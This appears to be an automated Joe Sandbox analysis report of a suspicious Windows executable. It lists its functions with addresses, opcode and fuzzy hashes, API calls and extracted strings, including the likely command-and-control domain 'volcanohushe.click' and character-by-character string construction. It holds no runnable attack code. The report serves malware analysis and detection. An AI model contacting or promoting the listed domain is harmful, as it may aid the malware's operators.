Instruction Fuzzy Hash: D0F0E236F742848BD708CFB9CC4226A66E3DB1A204B18D43DC456E3741E128E8014F18

Function 00409EB9 Relevance: 1.3, Strings: 1, Instructions: 31COMMON

Download Yara Rule

Strings

volcanohushe.click, xrefs: 00409EBF

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: volcanohushe.click
API String ID: 0-3487758016
Opcode ID: c11dde4bea6cdc3f43d55281e8cc4d938954cac3924490b2dcf7e503bc37ced3
Instruction ID: b0d56012c3d891d04b8b069242e406f0bf4132553d77d7a172f771eb767dd099
Opcode Fuzzy Hash: c11dde4bea6cdc3f43d55281e8cc4d938954cac3924490b2dcf7e503bc37ced3
Instruction Fuzzy Hash: 1CF0A739A502158BCB04CF14C86277773B2EF8A312F046425D547EB392D3788C40C7A9

Function 0043DB10 Relevance: 1.3, Strings: 1, Instructions: 26COMMON

Download Yara Rule

Strings

/lmb, xrefs: 0043DB25

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID: /lmb
API String ID: 0-3946268590
Opcode ID: b2d4435d6592d3df5b43c8a07f37ef4b00b2396ced98faf09dab045db6f26371
Instruction ID: a5e828aa6f98702fee6d9b5aa253f0e325b3382cd617644059fa6236e749b797
Opcode Fuzzy Hash: b2d4435d6592d3df5b43c8a07f37ef4b00b2396ced98faf09dab045db6f26371
Instruction Fuzzy Hash: C2F06579A449C58BDB54CF38ADB52B777F0E74B215F1029B8C602E36A0DA7098518A0C

Function 004073F0 Relevance: .6, Instructions: 625COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 29ca138e8e61109462f19737de04b8d039f2d35e56ca922e3c7f9b6a441abc5a
Instruction ID: 6faf0af17566aac506bc1040dc481aed4187c46a203c2ba552b46565fbfeed05
Opcode Fuzzy Hash: 29ca138e8e61109462f19737de04b8d039f2d35e56ca922e3c7f9b6a441abc5a
Instruction Fuzzy Hash: 2922A272A087118BC725DF18D9806ABB3E1BFC4319F19893ED986A7385D738B851CB47

Function 0043F730 Relevance: .6, Instructions: 579COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 8d53a1485c9af1d75df7a3ff55b9b87dfe617749fb47fde82fc328e9d4b398f8
Instruction ID: 9440bc60363055fc7741ad62e826ac52b0005078bc596843184142e62853e9a9
Opcode Fuzzy Hash: 8d53a1485c9af1d75df7a3ff55b9b87dfe617749fb47fde82fc328e9d4b398f8
Instruction Fuzzy Hash: 98022576A58211CFC708CF38D89056AB7E2FB8E310F0A857DD985D7361EA35AC15CB85

Function 004058D0 Relevance: .4, Instructions: 449COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 706edc3a786295cd9b7db35b8e16aa02d11b2287f3acf26f8c1a695ff84f42ae
Instruction ID: d1bd641e04ddd3f8c80cfe45303f140b1f3ce863c723953b48f0dca61e0ef25d
Opcode Fuzzy Hash: 706edc3a786295cd9b7db35b8e16aa02d11b2287f3acf26f8c1a695ff84f42ae
Instruction Fuzzy Hash: D9F1F0356087418FD724CF29C88162BFBE6EFD9304F48882EE4C987791E679E804CB56

Function 004163C0 Relevance: .4, Instructions: 395COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d9cad568b11121c154bad12ef47db6900822e1f5151d61a13d7de090968f692f
Instruction ID: d7541f2fca1ccae41e83f46ef6531090e0b4554b2222c138a89db1d633840617
Opcode Fuzzy Hash: d9cad568b11121c154bad12ef47db6900822e1f5151d61a13d7de090968f692f
Instruction Fuzzy Hash: 52A17875A083408FD7158F38D8817BBBBE2EB9B318F09457ED4D997292D638C941CB1A

Function 00440180 Relevance: .3, Instructions: 274COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 1764b8be42eb86bb9f4620744e48ded1e75189da67836bc67bee5a72cb3ea6f3
Instruction ID: c9d4c165c56bfbf3c03a271f9fb192967cfd025fb11622c30a046a2f8b83f669
Opcode Fuzzy Hash: 1764b8be42eb86bb9f4620744e48ded1e75189da67836bc67bee5a72cb3ea6f3
Instruction Fuzzy Hash: 618106352443019BE7249F18D480A2FB7E2FFD9750F15846DEA859B391DB38DC61C78A

Function 0043CEA0 Relevance: .2, Instructions: 214COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e28be7b75410f075c26fcddfdb7d548f0538016a9353fd7724876d478ba0bf56
Instruction ID: f9dc6b06319712505be0b00d1611807c54d1d8e9fe27d53802d70cc7455a1389
Opcode Fuzzy Hash: e28be7b75410f075c26fcddfdb7d548f0538016a9353fd7724876d478ba0bf56
Instruction Fuzzy Hash: 1E81A57460D3428FC719CF29C49062EBBE2AFC9314F18866EE4E587382D639D846CB56

Function 0042B215 Relevance: .2, Instructions: 189COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f9dd72832e23b2b70cc6ebba476d32fddb174955166605a8e5e5476f3b589601
Instruction ID: 74bc6ab1bbaf3b69a7a1375347432e2d302a30213048b9414b69be7e4a431046
Opcode Fuzzy Hash: f9dd72832e23b2b70cc6ebba476d32fddb174955166605a8e5e5476f3b589601
Instruction Fuzzy Hash: 5A415CB5A0D3A58BD3358B2898643B7BFD0DFA3304F28089EE8DA57351D779480587D6

Function 0040AF23 Relevance: .2, Instructions: 187COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 65cbdfa24d642580817c22312a4d4416be34adb8d03870b701ba4631b34f5032
Instruction ID: eed30cc65e9a7acdb6177f5dd8ded5a2b05ec64c6f0e7533b6fe5fd470de70e5
Opcode Fuzzy Hash: 65cbdfa24d642580817c22312a4d4416be34adb8d03870b701ba4631b34f5032
Instruction Fuzzy Hash: BE51F039254B01CFCB298F64DC95B1ABBB2FF4A311F04847DE55687A62C738E816CB15

Function 0040D907 Relevance: .2, Instructions: 165COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 224b885b2d33e1646e8711822722071e2e6a455e5a6b5f8b883611f4457d948c
Instruction ID: 9e15d2c07ce86351c6ebb163d7bbc7b39beeeef97fa94347135c7c3a5bbe2237
Opcode Fuzzy Hash: 224b885b2d33e1646e8711822722071e2e6a455e5a6b5f8b883611f4457d948c
Instruction Fuzzy Hash: 7641C8356147018FC729CF68C991962BBE2FB8A314318D66EC5A6C7795C638E846CB48

Function 00418DC5 Relevance: .1, Instructions: 130COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 519c7b1d929cf06ac58c773f830ddbc472e0c9eb742fe59324e356552328b5b0
Instruction ID: 52f43bb69bf967e13d8b8cf2b488c67a51938e76d39e84f9618a723eb99c5912
Opcode Fuzzy Hash: 519c7b1d929cf06ac58c773f830ddbc472e0c9eb742fe59324e356552328b5b0
Instruction Fuzzy Hash: F94126B5908380DFE3309B259C417ABB7A6EB93308F18493DE895532A2DF359815CB5B

Function 00418F52 Relevance: .1, Instructions: 112COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e4ff31274707ca65935b0076e1da50561794554b8f4a8f1593c33844884775f5
Instruction ID: 99084ae7948e4e969f5cab21ab752441f84075a4ec3b964ea1b353b24493650c
Opcode Fuzzy Hash: e4ff31274707ca65935b0076e1da50561794554b8f4a8f1593c33844884775f5
Instruction Fuzzy Hash: 7621B0705082418BD7258B28C8B17F777F0EF9B324F085A9DD8D68B392E7389845C71A

Function 0043D325 Relevance: .1, Instructions: 106COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 643e9d03ab5afcafe616b615b53e5a37d48034b3075b442a74698f38aaaabc60
Instruction ID: ecce191509777419fe2065107418a7e373d2744f15f7fbda99c47c06ac08e1c0
Opcode Fuzzy Hash: 643e9d03ab5afcafe616b615b53e5a37d48034b3075b442a74698f38aaaabc60
Instruction Fuzzy Hash: 3B31EDB5D102428FDB04CF74EC525AABFB1FB1B314F48647EC481AB262D6399885CF98

Function 004167E1 Relevance: .1, Instructions: 82COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: c0606199e92ee5f98f37b4575949366b277766458398aec2d8c18da042f17e8e
Instruction ID: 7b77d76e57314b8d537e66dbda0905c5b71d9ff5251147711cb921c64f52ab4a
Opcode Fuzzy Hash: c0606199e92ee5f98f37b4575949366b277766458398aec2d8c18da042f17e8e
Instruction Fuzzy Hash: 70114C746493009BDB25AB1898D09777762EBD6328F15193ED09217262D334DCD3CB0E

Function 00416896 Relevance: .1, Instructions: 76COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 655e66a32f0ec6ef73855cb929e808cb87c538b78d40acdce1f821a373a6cf25
Instruction ID: 49c952b68e76756303a7cfa84cb587e570531a8abc643f2441ca8aaef1216cf7
Opcode Fuzzy Hash: 655e66a32f0ec6ef73855cb929e808cb87c538b78d40acdce1f821a373a6cf25
Instruction Fuzzy Hash: 1A1151386493408BD7299B2584D05BBB7A1EBDA338F25172EC096532A1C738DCD7CB0E

Function 0041598C Relevance: .1, Instructions: 70COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: fd517cc4091c0d14983317d9fc9f51e9ee4e013ad9cff62941fad828ef40864f
Instruction ID: 61a3990d51287a321700371caea8ac95de16791a53993df06537a25f78a5eb73
Opcode Fuzzy Hash: fd517cc4091c0d14983317d9fc9f51e9ee4e013ad9cff62941fad828ef40864f
Instruction Fuzzy Hash: 5C01D674A98740DBD3708B189581AEBB7B5FBCA324F545B2DD0C593250D634D892CB8E

Function 00435F00 Relevance: .1, Instructions: 64COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction ID: 5939802b1301af77679c215306a21a7299ef6c9da27cc0b365f9f239b0c19f2f
Opcode Fuzzy Hash: 3e517b76c81f2f0a6076fdce7dc782eea2d3cbf91ba42ade49569ad1c1c074a0
Instruction Fuzzy Hash: 6C110833B055D50EC3168D3C8400565BFA30AA7234F6D93DAF4B89B2D6D6278D8B8399

Function 00429E80 Relevance: .1, Instructions: 63COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: ae974aa015cb9a2e7ca8e05bc068c22be5d530372e1f024b1e298d7d6b666928
Instruction ID: a27733a69205e04c464837f65cce1e328396de0a29cbbd258d365049883dbe47
Opcode Fuzzy Hash: ae974aa015cb9a2e7ca8e05bc068c22be5d530372e1f024b1e298d7d6b666928
Instruction Fuzzy Hash: 7401B1F1B0031257DB20DF51A4C0727B2A9AF84708F4A453EE8485B382EB7DFC08C69A

Function 0042C89E Relevance: .1, Instructions: 60COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 41aecbbb57f341e3239aeda4c52079f99c77c3874fd3ef38ef81509e98e606fa
Instruction ID: 94a2685e38f00eaf1eb05f0091b19f393d3aa0123d7ed6f17fd2bfd551075456
Opcode Fuzzy Hash: 41aecbbb57f341e3239aeda4c52079f99c77c3874fd3ef38ef81509e98e606fa
Instruction Fuzzy Hash: 9911E0727493000BE704CE3AA89016BFBE3AFD3214F2E983DD182C7725D93588078B4A

Function 004158FC Relevance: .1, Instructions: 58COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7623d2961ef6c419805eac7e58d1c86d9daee92fdb993515a560874ec6750ddb
Instruction ID: fb47be4d804a9da23881eaf03f8acb819a2e87175e2b70562f1e2f5772406857
Opcode Fuzzy Hash: 7623d2961ef6c419805eac7e58d1c86d9daee92fdb993515a560874ec6750ddb
Instruction Fuzzy Hash: C30126B4664700DBEB248B259C51BB7B7A1E7CA334F541A2DE0C2A31A1C6249890CA1F

Function 00402B70 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0ec352bbe4cbc42230a0051b4d6dd25082a105aad7c4e020716a29c2d8aeb373
Instruction ID: 21743fce8f8fc89d95ce078a34e0e0e5e44fc2aba6199b741040941cf27e962f
Opcode Fuzzy Hash: 0ec352bbe4cbc42230a0051b4d6dd25082a105aad7c4e020716a29c2d8aeb373
Instruction Fuzzy Hash: 1CF0467B71821D0BD310DDA9FCC4577B3A6EBD5204B0A4139EA40A3381E8F4F80592A4

Function 0040B3BB Relevance: .0, Instructions: 45COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 17bcfa2246879958e6deeecfb3dd30fbf363363fe0cdfdf4ccd092ee3f1ec607
Instruction ID: 467d839b1f2edd79695e981d77696c97d4829d5b404480f02d90e7557cfed571
Opcode Fuzzy Hash: 17bcfa2246879958e6deeecfb3dd30fbf363363fe0cdfdf4ccd092ee3f1ec607
Instruction Fuzzy Hash: AD1192B09007029FE3649F19C899712FAB4BB06324F50978CE0695E6D2C3BAD589CFD5

Function 0043F286 Relevance: .0, Instructions: 22COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7745721efb1b8d97eb5a387c513d230e70c93acfe341ed94793c9456cf5d554e
Instruction ID: 01548a179f3559cfb04f008a038ad398e0644e2916ec8190e41f8619e0e1dcf3
Opcode Fuzzy Hash: 7745721efb1b8d97eb5a387c513d230e70c93acfe341ed94793c9456cf5d554e
Instruction Fuzzy Hash: FFE02BBAF480108B530CCF16D8505B073E2A3CB311704E03CD44AD7311C931DC12560D

Function 00417A75 Relevance: .0, Instructions: 18COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6e4e8af73efbfb209cfe09b31445d3bf69348074f3a3383892a69fec13abe48f
Instruction ID: 71cc694b795eba117cf9378a5a53a8597336b0837f4540bad7c117c05afde082
Opcode Fuzzy Hash: 6e4e8af73efbfb209cfe09b31445d3bf69348074f3a3383892a69fec13abe48f
Instruction Fuzzy Hash: DDD05E359142049AC7008F2DA500919B7F0EBC7750F00A52DB448E72A9CB71C8019709

Function 00424F80 Relevance: .0, Instructions: 8COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1e1811e256de978feef4c3cd29b6a07caae766e2687f34a7759ddec68fd786fd
Instruction ID: d02d98b6c4407079e00ef93f935acfea29071d225d302e4f93154c128f20d5d8
Opcode Fuzzy Hash: 1e1811e256de978feef4c3cd29b6a07caae766e2687f34a7759ddec68fd786fd
Instruction Fuzzy Hash: FAB0127090C10087D504CF08C450470F378D747215F003418D00AB3102C310E800CA0C

Function 0043234E Relevance: 75.4, APIs: 1, Strings: 42, Instructions: 161memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 00432400

Strings

", xrefs: 004324CB
Q, xrefs: 00432446
<, xrefs: 0043246B
G, xrefs: 004324F3
', xrefs: 0043254B
_, xrefs: 004324B3
*, xrefs: 0043257B
4, xrefs: 0043245B
+, xrefs: 004325AB
6, xrefs: 004325CB
A, xrefs: 004324C3
', xrefs: 0043255B
k, xrefs: 00432428
M, xrefs: 00432523
m, xrefs: 00432432
C, xrefs: 004324D3
+, xrefs: 00432437
/, xrefs: 00432423
i, xrefs: 0043241E
M, xrefs: 0043236B
S, xrefs: 00432361
, xrefs: 0043242D
W, xrefs: 00432473
E, xrefs: 004324E3
O, xrefs: 00432375
[, xrefs: 00432493
", xrefs: 0043253B
8, xrefs: 0043247B
U, xrefs: 00432463
I, xrefs: 0043237F
O, xrefs: 00432533
=, xrefs: 00432366
K, xrefs: 00432513
H, xrefs: 0043237A
Y, xrefs: 00432483
=, xrefs: 0043235C
o, xrefs: 0043243C
], xrefs: 004324A3
I, xrefs: 00432503
0, xrefs: 00432656
:, xrefs: 00432370
S, xrefs: 00432453

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: AllocString
String ID: $"$"$'$'$*$+$+$/$0$4$6$8$:$<$=$=$A$C$E$G$H$I$I$K$M$M$O$O$Q$S$S$U$W$Y$[$]$_$i$k$m$o
API String ID: 2525500382-871300800
Opcode ID: ea0acaf6d4cacd1ba90045e13a6227656fbadf6fad3af0bdaba31410a1091882
Instruction ID: cf4270bf8ffc7a5f823e8d7e11b60e879aec5e144cc898fab687690e48e742b5
Opcode Fuzzy Hash: ea0acaf6d4cacd1ba90045e13a6227656fbadf6fad3af0bdaba31410a1091882
Instruction Fuzzy Hash: 9291066150C7C1CDE3368638845879BBED11BA7218F088AADD5ED8B2D3C7BA4509CB67

Function 00432019 Relevance: 75.4, APIs: 1, Strings: 42, Instructions: 159memoryCOMMON

Download Yara Rule

APIs

SysAllocString.OLEAUT32 ref: 004320CE

Strings

o, xrefs: 0043210A
W, xrefs: 00432141
<, xrefs: 00432139
', xrefs: 00432219
/, xrefs: 004320F1
A, xrefs: 00432191
=, xrefs: 00432034
O, xrefs: 00432201
G, xrefs: 004321C1
H, xrefs: 00432048
], xrefs: 00432171
M, xrefs: 00432039
O, xrefs: 00432043
+, xrefs: 00432105
_, xrefs: 00432181
m, xrefs: 00432100
Y, xrefs: 00432151
0, xrefs: 0043231B
E, xrefs: 004321B1
+, xrefs: 00432279
4, xrefs: 00432129
M, xrefs: 004321F1
k, xrefs: 004320F6
", xrefs: 00432209
:, xrefs: 0043203E
Q, xrefs: 00432114
K, xrefs: 004321E1
i, xrefs: 004320EC
U, xrefs: 00432131
C, xrefs: 004321A1
[, xrefs: 00432161
, xrefs: 004320FB
I, xrefs: 0043204D
I, xrefs: 004321D1
*, xrefs: 00432249
S, xrefs: 0043202F
6, xrefs: 00432299
8, xrefs: 00432149
", xrefs: 00432199
', xrefs: 00432229
=, xrefs: 0043202A
S, xrefs: 00432121

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: AllocString
String ID: $"$"$'$'$*$+$+$/$0$4$6$8$:$<$=$=$A$C$E$G$H$I$I$K$M$M$O$O$Q$S$S$U$W$Y$[$]$_$i$k$m$o
API String ID: 2525500382-871300800
Opcode ID: e45984be38196b5c8ff72e5588430cd25e3479d51ec099cdc983a58aa1c9b1d2
Instruction ID: 865d247f53da1c212b644144c37fe5ba321bca7ef231fb23b2e03194a57c13c3
Opcode Fuzzy Hash: e45984be38196b5c8ff72e5588430cd25e3479d51ec099cdc983a58aa1c9b1d2
Instruction Fuzzy Hash: 5C91E76110C7C18DE3368638885879BBED11BA7218F188A9DD1ED8B2D3C6BA454AC767

Function 00431512 Relevance: 24.6, APIs: 2, Strings: 12, Instructions: 97COMMON

Download Yara Rule

APIs

VariantClear.OLEAUT32 ref: 0043151C
VariantInit.OLEAUT32 ref: 0043152F

Strings

n, xrefs: 0043157F
p, xrefs: 004315A7
a, xrefs: 0043156B
w, xrefs: 00431557
g, xrefs: 0043159D
c, xrefs: 004315B1
{, xrefs: 00431589
s, xrefs: 0043154D
t, xrefs: 00431561
~, xrefs: 00431575
Z, xrefs: 00431593
p, xrefs: 004315BB

Memory Dump Source

Source File: 00000003.00000002.2569403096.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000003.00000002.2569403096.0000000000453000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_uUtgy7BbF1.jbxd

Similarity

API ID: Variant$ClearInit
String ID: Z$a$c$g$n$p$p$s$t$w${$~
API String ID: 2610073882-3241135356
Opcode ID: e4bafa1799fc74d6fdec72762fe4337596049604b772f4dce9c6462e0ef1b261
Instruction ID: 5cfd81fbbfab52470edc20309123d5fdb3929ff031e16fa1184257613a9df237
Opcode Fuzzy Hash: e4bafa1799fc74d6fdec72762fe4337596049604b772f4dce9c6462e0ef1b261
Instruction Fuzzy Hash: 56412A7550D3C0CAE366CB28C49878FBFE26BD6308F58885CE5C50B396D6BA9509C763

Function 004329CE Relevance: 22.8, APIs: 1, Strings: 12, Instructions: 94COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32 ref: 004329F3

Strings

~, xrefs: 00432A39
Z, xrefs: 00432A57
p, xrefs: 00432A6B
{, xrefs: 00432A4D
c, xrefs: 00432A75
n, xrefs: 00432A43
s, xrefs: 00432A11
